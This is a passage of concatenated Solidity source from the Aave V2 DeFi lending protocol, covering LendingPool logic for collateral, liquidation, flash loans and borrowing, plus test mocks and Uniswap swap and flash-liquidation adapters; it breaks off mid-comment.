reserve.currentStableBorrowRate ); reserve.updateInterestRates(asset, aTokenAddress, 0, 0); emit RebalanceStableBorrowRate(asset, user); } /** * @dev Allows depositors to enable/disable a specific deposited asset as collateral * @param asset The address of the underlying asset deposited * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise **/ function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; ValidationLogic.validateSetUseReserveAsCollateral( reserve, asset, useAsCollateral, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, useAsCollateral); if (useAsCollateral) { emit ReserveUsedAsCollateralEnabled(asset, msg.sender); } else { emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } } /** * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external override whenNotPaused { address collateralManager = _addressesProvider.getLendingPoolCollateralManager(); //solium-disable-next-line (bool success, bytes memory result) = collateralManager.delegatecall( abi.encodeWithSignature( 'liquidationCall(address,address,address,uint256,bool)', collateralAsset, debtAsset, user, debtToCover, receiveAToken ) ); require(success, Errors.LP_LIQUIDATION_CALL_FAILED); (uint256 returnCode, string memory returnMessage) = abi.decode(result, (uint256, string)); require(returnCode == 0, string(abi.encodePacked(returnMessage))); } struct FlashLoanLocalVars { IFlashLoanReceiver receiver; address oracle; uint256 i; address currentAsset; address currentATokenAddress; uint256 currentAmount; uint256 currentPremium; uint256 currentAmountPlusPremium; address debtToken; } /** * @dev Allows smartcontracts to access the liquidity of the pool within one transaction, * as long as the amount taken plus a fee is returned. * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration. * For further details please visit https://developers.aave.com * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface * @param assets The addresses of the assets being flash-borrowed * @param amounts The amounts amounts being flash-borrowed * @param modes Types of the debt to open if the flash loan is not returned: * 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver * 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2 * @param params Variadic packed params to pass to the receiver as extra information * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external override whenNotPaused { FlashLoanLocalVars memory vars; ValidationLogic.validateFlashloan(assets, amounts); address[] memory aTokenAddresses = new address[](assets.length); uint256[] memory premiums = new uint256[](assets.length); vars.receiver = IFlashLoanReceiver(receiverAddress); for (vars.i = 0; vars.i < assets.length; vars.i++) { aTokenAddresses[vars.i] = _reserves[assets[vars.i]].aTokenAddress; premiums[vars.i] = amounts[vars.i].mul(_flashLoanPremiumTotal).div(10000); IAToken(aTokenAddresses[vars.i]).transferUnderlyingTo(receiverAddress, amounts[vars.i]); } require( vars.receiver.executeOperation(assets, amounts, premiums, msg.sender, params), Errors.LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN ); for (vars.i = 0; vars.i < assets.length; vars.i++) { vars.currentAsset = assets[vars.i]; vars.currentAmount = amounts[vars.i]; vars.currentPremium = premiums[vars.i]; vars.currentATokenAddress = aTokenAddresses[vars.i]; vars.currentAmountPlusPremium = vars.currentAmount.add(vars.currentPremium); if (DataTypes.InterestRateMode(modes[vars.i]) == DataTypes.InterestRateMode.NONE) { _reserves[vars.currentAsset].updateState(); _reserves[vars.currentAsset].cumulateToLiquidityIndex( IERC20(vars.currentATokenAddress).totalSupply(), vars.currentPremium ); _reserves[vars.currentAsset].updateInterestRates( vars.currentAsset, vars.currentATokenAddress, vars.currentAmountPlusPremium, 0 ); IERC20(vars.currentAsset).safeTransferFrom( receiverAddress, vars.currentATokenAddress, vars.currentAmountPlusPremium ); } else { // If the user chose to not return the funds, the system checks if there is enough collateral and // eventually opens a debt position _executeBorrow( ExecuteBorrowParams( vars.currentAsset, msg.sender, onBehalfOf, vars.currentAmount, modes[vars.i], vars.currentATokenAddress, referralCode, false ) ); } emit FlashLoan( receiverAddress, msg.sender, vars.currentAsset, vars.currentAmount, vars.currentPremium, referralCode ); } } /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view override returns (DataTypes.ReserveData memory) { return _reserves[asset]; } /** * @dev Returns the user account data across all the reserves * @param user The address of the user * @return totalCollateralETH the total collateral in ETH of the user * @return totalDebtETH the total debt in ETH of the user * @return availableBorrowsETH the borrowing power left of the user * @return currentLiquidationThreshold the liquidation threshold of the user * @return ltv the loan to value of the user * @return healthFactor the current health factor of the user **/ function getUserAccountData(address user) external view override returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ) { ( totalCollateralETH, totalDebtETH, ltv, currentLiquidationThreshold, healthFactor ) = GenericLogic.calculateUserAccountData( user, _reserves, _usersConfig[user], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); availableBorrowsETH = GenericLogic.calculateAvailableBorrowsETH( totalCollateralETH, totalDebtETH, ltv ); } /** * @dev Returns the configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The configuration of the reserve **/ function getConfiguration(address asset) external view override returns (DataTypes.ReserveConfigurationMap memory) { return _reserves[asset].configuration; } /** * @dev Returns the configuration of the user across all the reserves * @param user The user address * @return The configuration of the user **/ function getUserConfiguration(address user) external view override returns (DataTypes.UserConfigurationMap memory) { return _usersConfig[user]; } /** * @dev Returns the normalized income per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view virtual override returns (uint256) { return _reserves[asset].getNormalizedIncome(); } /** * @dev Returns the normalized variable debt per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve normalized variable debt */ function getReserveNormalizedVariableDebt(address asset) external view override returns (uint256) { return _reserves[asset].getNormalizedDebt(); } /** * @dev Returns if the LendingPool is paused */ function paused() external view override returns (bool) { return _paused; } /** * @dev Returns the list of the initialized reserves **/ function getReservesList() external view override returns (address[] memory) { address[] memory _activeReserves = new address[](_reservesCount); for (uint256 i = 0; i < _reservesCount; i++) { _activeReserves[i] = _reservesList[i]; } return _activeReserves; } /** * @dev Returns the cached LendingPoolAddressesProvider connected to this contract **/ function getAddressesProvider() external view override returns (ILendingPoolAddressesProvider) { return _addressesProvider; } /** * @dev Returns the percentage of available liquidity that can be borrowed at once at stable rate */ function MAX_STABLE_RATE_BORROW_SIZE_PERCENT() public view returns (uint256) { return _maxStableRateBorrowSizePercent; } /** * @dev Returns the fee on flash loans */ function FLASHLOAN_PREMIUM_TOTAL() public view returns (uint256) { return _flashLoanPremiumTotal; } /** * @dev Returns the maximum number of reserves supported to be listed in this LendingPool */ function MAX_NUMBER_RESERVES() public view returns (uint256) { return _maxNumberOfReserves; } /** * @dev Validates and finalizes an aToken transfer * - Only callable by the overlying aToken of the `asset` * @param asset The address of the underlying asset of the aToken * @param from The user from which the aTokens are transferred * @param to The user receiving the aTokens * @param amount The amount being transferred/withdrawn * @param balanceFromBefore The aToken balance of the `from` user before the transfer * @param balanceToBefore The aToken balance of the `to` user before the transfer */ function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromBefore, uint256 balanceToBefore ) external override whenNotPaused { require(msg.sender == _reserves[asset].aTokenAddress, Errors.LP_CALLER_MUST_BE_AN_ATOKEN); ValidationLogic.validateTransfer( from, _reserves, _usersConfig[from], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); uint256 reserveId = _reserves[asset].id; if (from != to) { if (balanceFromBefore.sub(amount) == 0) { DataTypes.UserConfigurationMap storage fromConfig = _usersConfig[from]; fromConfig.setUsingAsCollateral(reserveId, false); emit ReserveUsedAsCollateralDisabled(asset, from); } if (balanceToBefore == 0 && amount != 0) { DataTypes.UserConfigurationMap storage toConfig = _usersConfig[to]; toConfig.setUsingAsCollateral(reserveId, true); emit ReserveUsedAsCollateralEnabled(asset, to); } } } /** * @dev Initializes a reserve, activating it, assigning an aToken and debt tokens and an * interest rate strategy * - Only callable by the LendingPoolConfigurator contract * @param asset The address of the underlying asset of the reserve * @param aTokenAddress The address of the aToken that will be assigned to the reserve * @param stableDebtAddress The address of the StableDebtToken that will be assigned to the reserve * @param aTokenAddress The address of the VariableDebtToken that will be assigned to the reserve * @param interestRateStrategyAddress The address of the interest rate strategy contract **/ function initReserve( address asset, address aTokenAddress, address stableDebtAddress, address variableDebtAddress, address interestRateStrategyAddress ) external override onlyLendingPoolConfigurator { require(Address.isContract(asset), Errors.LP_NOT_CONTRACT); _reserves[asset].init( aTokenAddress, stableDebtAddress, variableDebtAddress, interestRateStrategyAddress ); _addReserveToList(asset); } /** * @dev Updates the address of the interest rate strategy contract * - Only callable by the LendingPoolConfigurator contract * @param asset The address of the underlying asset of the reserve * @param rateStrategyAddress The address of the interest rate strategy contract **/ function setReserveInterestRateStrategyAddress(address asset, address rateStrategyAddress) external override onlyLendingPoolConfigurator { _reserves[asset].interestRateStrategyAddress = rateStrategyAddress; } /** * @dev Sets the configuration bitmap of the reserve as a whole * - Only callable by the LendingPoolConfigurator contract * @param asset The address of the underlying asset of the reserve * @param configuration The new configuration bitmap **/ function setConfiguration(address asset, uint256 configuration) external override onlyLendingPoolConfigurator { _reserves[asset].configuration.data = configuration; } /** * @dev Set the _pause state of a reserve * - Only callable by the LendingPoolConfigurator contract * @param val `true` to pause the reserve, `false` to un-pause it */ function setPause(bool val) external override onlyLendingPoolConfigurator { _paused = val; if (_paused) { emit Paused(); } else { emit Unpaused(); } } struct ExecuteBorrowParams { address asset; address user; address onBehalfOf; uint256 amount; uint256 interestRateMode; address aTokenAddress; uint16 referralCode; bool releaseUnderlying; } function _executeBorrow(ExecuteBorrowParams memory vars) internal { DataTypes.ReserveData storage reserve = _reserves[vars.asset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[vars.onBehalfOf]; address oracle = _addressesProvider.getPriceOracle(); uint256 amountInETH = IPriceOracleGetter(oracle).getAssetPrice(vars.asset).mul(vars.amount).div( 10**reserve.configuration.getDecimals() ); ValidationLogic.validateBorrow( vars.asset, reserve, vars.onBehalfOf, vars.amount, amountInETH, vars.interestRateMode, _maxStableRateBorrowSizePercent, _reserves, userConfig, _reservesList, _reservesCount, oracle ); reserve.updateState(); uint256 currentStableRate = 0; bool isFirstBorrowing = false; if (DataTypes.InterestRateMode(vars.interestRateMode) == DataTypes.InterestRateMode.STABLE) { currentStableRate = reserve.currentStableBorrowRate; isFirstBorrowing = IStableDebtToken(reserve.stableDebtTokenAddress).mint( vars.user, vars.onBehalfOf, vars.amount, currentStableRate ); } else { isFirstBorrowing = IVariableDebtToken(reserve.variableDebtTokenAddress).mint( vars.user, vars.onBehalfOf, vars.amount, reserve.variableBorrowIndex ); } if (isFirstBorrowing) { userConfig.setBorrowing(reserve.id, true); } reserve.updateInterestRates( vars.asset, vars.aTokenAddress, 0, vars.releaseUnderlying ? vars.amount : 0 ); if (vars.releaseUnderlying) { IAToken(vars.aTokenAddress).transferUnderlyingTo(vars.user, vars.amount); } emit Borrow( vars.asset, vars.user, vars.onBehalfOf, vars.amount, vars.interestRateMode, DataTypes.InterestRateMode(vars.interestRateMode) == DataTypes.InterestRateMode.STABLE ? currentStableRate : reserve.currentVariableBorrowRate, vars.referralCode ); } function _addReserveToList(address asset) internal { uint256 reservesCount = _reservesCount; require(reservesCount < _maxNumberOfReserves, Errors.LP_NO_MORE_RESERVES_ALLOWED); bool reserveAlreadyAdded = _reserves[asset].id != 0 || _reservesList[0] == asset; if (!reserveAlreadyAdded) { _reserves[asset].id = uint8(reservesCount); _reservesList[reservesCount] = asset; _reservesCount = reservesCount + 1; } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; interface IExchangeAdapter { event Exchange( address indexed from, address indexed to, address indexed platform, uint256 fromAmount, uint256 toAmount ); function approveExchange(IERC20[] calldata tokens) external; function exchange( address from, address to, uint256 amount, uint256 maxSlippage ) external returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ERC20} from '../../dependencies/openzeppelin/contracts/ERC20.sol'; /** * @title ERC20Mintable * @dev ERC20 minting logic */ contract MintableDelegationERC20 is ERC20 { address public delegatee; constructor( string memory name, string memory symbol, uint8 decimals ) public ERC20(name, symbol) { _setupDecimals(decimals); } /** * @dev Function to mint tokensp * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(uint256 value) public returns (bool) { _mint(msg.sender, value); return true; } function delegate(address delegateeAddress) external { delegatee = delegateeAddress; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IUniswapV2Router02} from '../../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import {MintableERC20} from '../tokens/MintableERC20.sol'; contract MockUniswapV2Router02 is IUniswapV2Router02 { mapping(address => uint256) internal _amountToReturn; mapping(address => uint256) internal _amountToSwap; mapping(address => mapping(address => mapping(uint256 => uint256))) internal _amountsIn; mapping(address => mapping(address => mapping(uint256 => uint256))) internal _amountsOut; uint256 internal defaultMockValue; function setAmountToReturn(address reserve, uint256 amount) public { _amountToReturn[reserve] = amount; } function setAmountToSwap(address reserve, uint256 amount) public { _amountToSwap[reserve] = amount; } function swapExactTokensForTokens( uint256 amountIn, uint256, /* amountOutMin */ address[] calldata path, address to, uint256 /* deadline */ ) external override returns (uint256[] memory amounts) { IERC20(path[0]).transferFrom(msg.sender, address(this), amountIn); MintableERC20(path[1]).mint(_amountToReturn[path[0]]); IERC20(path[1]).transfer(to, _amountToReturn[path[0]]); amounts = new uint256[](path.length); amounts[0] = amountIn; amounts[1] = _amountToReturn[path[0]]; } function swapTokensForExactTokens( uint256 amountOut, uint256, /* amountInMax */ address[] calldata path, address to, uint256 /* deadline */ ) external override returns (uint256[] memory amounts) { IERC20(path[0]).transferFrom(msg.sender, address(this), _amountToSwap[path[0]]); MintableERC20(path[1]).mint(amountOut); IERC20(path[1]).transfer(to, amountOut); amounts = new uint256[](path.length); amounts[0] = _amountToSwap[path[0]]; amounts[1] = amountOut; } function setAmountOut( uint256 amountIn, address reserveIn, address reserveOut, uint256 amountOut ) public { _amountsOut[reserveIn][reserveOut][amountIn] = amountOut; } function setAmountIn( uint256 amountOut, address reserveIn, address reserveOut, uint256 amountIn ) public { _amountsIn[reserveIn][reserveOut][amountOut] = amountIn; } function setDefaultMockValue(uint256 value) public { defaultMockValue = value; } function getAmountsOut(uint256 amountIn, address[] calldata path) external view override returns (uint256[] memory) { uint256[] memory amounts = new uint256[](path.length); amounts[0] = amountIn; amounts[1] = _amountsOut[path[0]][path[1]][amountIn] > 0 ? _amountsOut[path[0]][path[1]][amountIn] : defaultMockValue; return amounts; } function getAmountsIn(uint256 amountOut, address[] calldata path) external view override returns (uint256[] memory) { uint256[] memory amounts = new uint256[](path.length); amounts[0] = _amountsIn[path[0]][path[1]][amountOut] > 0 ? _amountsIn[path[0]][path[1]][amountOut] : defaultMockValue; amounts[1] = amountOut; return amounts; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; /** * @title UniswapLiquiditySwapAdapter * @notice Uniswap V2 Adapter to swap liquidity. * @author Aave **/ contract UniswapLiquiditySwapAdapter is BaseUniswapAdapter { struct PermitParams { uint256[] amount; uint256[] deadline; uint8[] v; bytes32[] r; bytes32[] s; } struct SwapParams { address[] assetToSwapToList; uint256[] minAmountsToReceive; bool[] swapAllBalance; PermitParams permitParams; bool[] useEthPath; } constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {} /** * @dev Swaps the received reserve amount from the flash loan into the asset specified in the params. * The received funds from the swap are then deposited into the protocol on behalf of the user. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset and * repay the flash loan. * @param assets Address of asset to be swapped * @param amounts Amount of the asset to be swapped * @param premiums Fee of the flash loan * @param initiator Address of the user * @param params Additional variadic field to include extra params. Expected parameters: * address[] assetToSwapToList List of the addresses of the reserve to be swapped to and deposited * uint256[] minAmountsToReceive List of min amounts to be received from the swap * bool[] swapAllBalance Flag indicating if all the user balance should be swapped * uint256[] permitAmount List of amounts for the permit signature * uint256[] deadline List of deadlines for the permit signature * uint8[] v List of v param for the permit signature * bytes32[] r List of r param for the permit signature * bytes32[] s List of s param for the permit signature */ function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL'); SwapParams memory decodedParams = _decodeParams(params); require( assets.length == decodedParams.assetToSwapToList.length && assets.length == decodedParams.minAmountsToReceive.length && assets.length == decodedParams.swapAllBalance.length && assets.length == decodedParams.permitParams.amount.length && assets.length == decodedParams.permitParams.deadline.length && assets.length == decodedParams.permitParams.v.length && assets.length == decodedParams.permitParams.r.length && assets.length == decodedParams.permitParams.s.length && assets.length == decodedParams.useEthPath.length, 'INCONSISTENT_PARAMS' ); for (uint256 i = 0; i < assets.length; i++) { _swapLiquidity( assets[i], decodedParams.assetToSwapToList[i], amounts[i], premiums[i], initiator, decodedParams.minAmountsToReceive[i], decodedParams.swapAllBalance[i], PermitSignature( decodedParams.permitParams.amount[i], decodedParams.permitParams.deadline[i], decodedParams.permitParams.v[i], decodedParams.permitParams.r[i], decodedParams.permitParams.s[i] ), decodedParams.useEthPath[i] ); } return true; } struct SwapAndDepositLocalVars { uint256 i; uint256 aTokenInitiatorBalance; uint256 amountToSwap; uint256 receivedAmount; address aToken; } /** * @dev Swaps an amount of an asset to another and deposits the new asset amount on behalf of the user without using * a flash loan. This method can be used when the temporary transfer of the collateral asset to this contract * does not affect the user position. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset and * perform the swap. * @param assetToSwapFromList List of addresses of the underlying asset to be swap from * @param assetToSwapToList List of addresses of the underlying asset to be swap to and deposited * @param amountToSwapList List of amounts to be swapped. If the amount exceeds the balance, the total balance is used for the swap * @param minAmountsToReceive List of min amounts to be received from the swap * @param permitParams List of struct containing the permit signatures * uint256 permitAmount Amount for the permit signature * uint256 deadline Deadline for the permit signature * uint8 v param for the permit signature * bytes32 r param for the permit signature * bytes32 s param for the permit signature * @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise */ function swapAndDeposit( address[] calldata assetToSwapFromList, address[] calldata assetToSwapToList, uint256[] calldata amountToSwapList, uint256[] calldata minAmountsToReceive, PermitSignature[] calldata permitParams, bool[] calldata useEthPath ) external { require( assetToSwapFromList.length == assetToSwapToList.length && assetToSwapFromList.length == amountToSwapList.length && assetToSwapFromList.length == minAmountsToReceive.length && assetToSwapFromList.length == permitParams.length, 'INCONSISTENT_PARAMS' ); SwapAndDepositLocalVars memory vars; for (vars.i = 0; vars.i < assetToSwapFromList.length; vars.i++) { vars.aToken = _getReserveData(assetToSwapFromList[vars.i]).aTokenAddress; vars.aTokenInitiatorBalance = IERC20(vars.aToken).balanceOf(msg.sender); vars.amountToSwap = amountToSwapList[vars.i] > vars.aTokenInitiatorBalance ? vars.aTokenInitiatorBalance : amountToSwapList[vars.i]; _pullAToken( assetToSwapFromList[vars.i], vars.aToken, msg.sender, vars.amountToSwap, permitParams[vars.i] ); vars.receivedAmount = _swapExactTokensForTokens( assetToSwapFromList[vars.i], assetToSwapToList[vars.i], vars.amountToSwap, minAmountsToReceive[vars.i], useEthPath[vars.i] ); // Deposit new reserve IERC20(assetToSwapToList[vars.i]).safeApprove(address(LENDING_POOL), 0); IERC20(assetToSwapToList[vars.i]).safeApprove(address(LENDING_POOL), vars.receivedAmount); LENDING_POOL.deposit(assetToSwapToList[vars.i], vars.receivedAmount, msg.sender, 0); } } /** * @dev Swaps an `amountToSwap` of an asset to another and deposits the funds on behalf of the initiator. * @param assetFrom Address of the underlying asset to be swap from * @param assetTo Address of the underlying asset to be swap to and deposited * @param amount Amount from flash loan * @param premium Premium of the flash loan * @param minAmountToReceive Min amount to be received from the swap * @param swapAllBalance Flag indicating if all the user balance should be swapped * @param permitSignature List of struct containing the permit signature * @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise */ struct SwapLiquidityLocalVars { address aToken; uint256 aTokenInitiatorBalance; uint256 amountToSwap; uint256 receivedAmount; uint256 flashLoanDebt; uint256 amountToPull; } function _swapLiquidity( address assetFrom, address assetTo, uint256 amount, uint256 premium, address initiator, uint256 minAmountToReceive, bool swapAllBalance, PermitSignature memory permitSignature, bool useEthPath ) internal { SwapLiquidityLocalVars memory vars; vars.aToken = _getReserveData(assetFrom).aTokenAddress; vars.aTokenInitiatorBalance = IERC20(vars.aToken).balanceOf(initiator); vars.amountToSwap = swapAllBalance && vars.aTokenInitiatorBalance.sub(premium) <= amount ? vars.aTokenInitiatorBalance.sub(premium) : amount; vars.receivedAmount = _swapExactTokensForTokens( assetFrom, assetTo, vars.amountToSwap, minAmountToReceive, useEthPath ); // Deposit new reserve IERC20(assetTo).safeApprove(address(LENDING_POOL), 0); IERC20(assetTo).safeApprove(address(LENDING_POOL), vars.receivedAmount); LENDING_POOL.deposit(assetTo, vars.receivedAmount, initiator, 0); vars.flashLoanDebt = amount.add(premium); vars.amountToPull = vars.amountToSwap.add(premium); _pullAToken(assetFrom, vars.aToken, initiator, vars.amountToPull, permitSignature); // Repay flash loan IERC20(assetFrom).safeApprove(address(LENDING_POOL), 0); IERC20(assetFrom).safeApprove(address(LENDING_POOL), vars.flashLoanDebt); } /** * @dev Decodes the information encoded in the flash loan params * @param params Additional variadic field to include extra params. Expected parameters: * address[] assetToSwapToList List of the addresses of the reserve to be swapped to and deposited * uint256[] minAmountsToReceive List of min amounts to be received from the swap * bool[] swapAllBalance Flag indicating if all the user balance should be swapped * uint256[] permitAmount List of amounts for the permit signature * uint256[] deadline List of deadlines for the permit signature * uint8[] v List of v param for the permit signature * bytes32[] r List of r param for the permit signature * bytes32[] s List of s param for the permit signature * bool[] useEthPath true if the swap needs to occur using ETH in the routing, false otherwise * @return SwapParams struct containing decoded params */ function _decodeParams(bytes memory params) internal pure returns (SwapParams memory) { ( address[] memory assetToSwapToList, uint256[] memory minAmountsToReceive, bool[] memory swapAllBalance, uint256[] memory permitAmount, uint256[] memory deadline, uint8[] memory v, bytes32[] memory r, bytes32[] memory s, bool[] memory useEthPath ) = abi.decode( params, (address[], uint256[], bool[], uint256[], uint256[], uint8[], bytes32[], bytes32[], bool[]) ); return SwapParams( assetToSwapToList, minAmountsToReceive, swapAllBalance, PermitParams(permitAmount, deadline, v, r, s), useEthPath ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; import {Helpers} from '../protocol/libraries/helpers/Helpers.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../interfaces/IAToken.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; /** * @title UniswapLiquiditySwapAdapter * @notice Uniswap V2 Adapter to swap liquidity. * @author Aave **/ contract FlashLiquidationAdapter is BaseUniswapAdapter { using ReserveConfiguration for DataTypes.ReserveConfigurationMap; uint256 internal constant LIQUIDATION_CLOSE_FACTOR_PERCENT = 5000; struct LiquidationParams { address collateralAsset; address borrowedAsset; address user; uint256 debtToCover; bool useEthPath; } struct LiquidationCallLocalVars { uint256 initFlashBorrowedBalance; uint256 diffFlashBorrowedBalance; uint256 initCollateralBalance; uint256 diffCollateralBalance; uint256 flashLoanDebt; uint256 soldAmount; uint256 remainingTokens; uint256 borrowedAssetLeftovers; } constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {} /** * @dev Liquidate a non-healthy position collateral-wise, with a Health Factor below 1, using Flash Loan and Uniswap to repay flash loan premium. * - The caller (liquidator) with a flash loan covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk minus the flash loan premium. * @param assets Address of asset to be swapped * @param amounts Amount of the asset to be swapped * @param premiums Fee of the flash loan * @param initiator Address of the caller * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset The collateral asset to release and will be exchanged to pay the flash loan premium * address borrowedAsset The asset that must be covered * address user The user address with a Health Factor below 1 * uint256 debtToCover The amount of debt to cover * bool useEthPath Use WETH as connector path between the collateralAsset and borrowedAsset at Uniswap */ function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL'); LiquidationParams memory decodedParams = _decodeParams(params); require(assets.length == 1 && assets[0] == decodedParams.borrowedAsset, 'INCONSISTENT_PARAMS'); _liquidateAndSwap( decodedParams.collateralAsset, decodedParams.borrowedAsset, decodedParams.user, decodedParams.debtToCover, decodedParams.useEthPath, amounts[0], premiums[0], initiator ); return true; } /** * @dev * @param collateralAsset The collateral asset to release and will be exchanged to pay the flash loan premium * @param borrowedAsset The asset that must be covered * @param user The user address with a Health Factor below 1 * @param debtToCover The amount of debt to coverage, can be max(-1) to liquidate all possible debt * @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise * @param flashBorrowedAmount Amount of asset requested at the flash loan to liquidate the user position * @param premium Fee of the requested flash loan * @param initiator Address of the caller */ function _liquidateAndSwap( address collateralAsset, address borrowedAsset, address user, uint256 debtToCover, bool useEthPath, uint256 flashBorrowedAmount, uint256 premium, address initiator ) internal { LiquidationCallLocalVars memory vars; vars.initCollateralBalance = IERC20(collateralAsset).balanceOf(address(this)); if (collateralAsset != borrowedAsset) { vars.initFlashBorrowedBalance = IERC20(borrowedAsset).balanceOf(address(this)); // Track leftover balance to rescue funds in case of external transfers into this contract vars.borrowedAssetLeftovers = vars.initFlashBorrowedBalance.sub(flashBorrowedAmount); } vars.flashLoanDebt = flashBorrowedAmount.add(premium); // Approve LendingPool to use debt token for liquidation IERC20(borrowedAsset).approve(address(LENDING_POOL), debtToCover); // Liquidate the user position and release the underlying collateral LENDING_POOL.liquidationCall(collateralAsset, borrowedAsset, user, debtToCover, false); // Discover the liquidated tokens uint256 collateralBalanceAfter = IERC20(collateralAsset).balanceOf(address(this)); // Track only 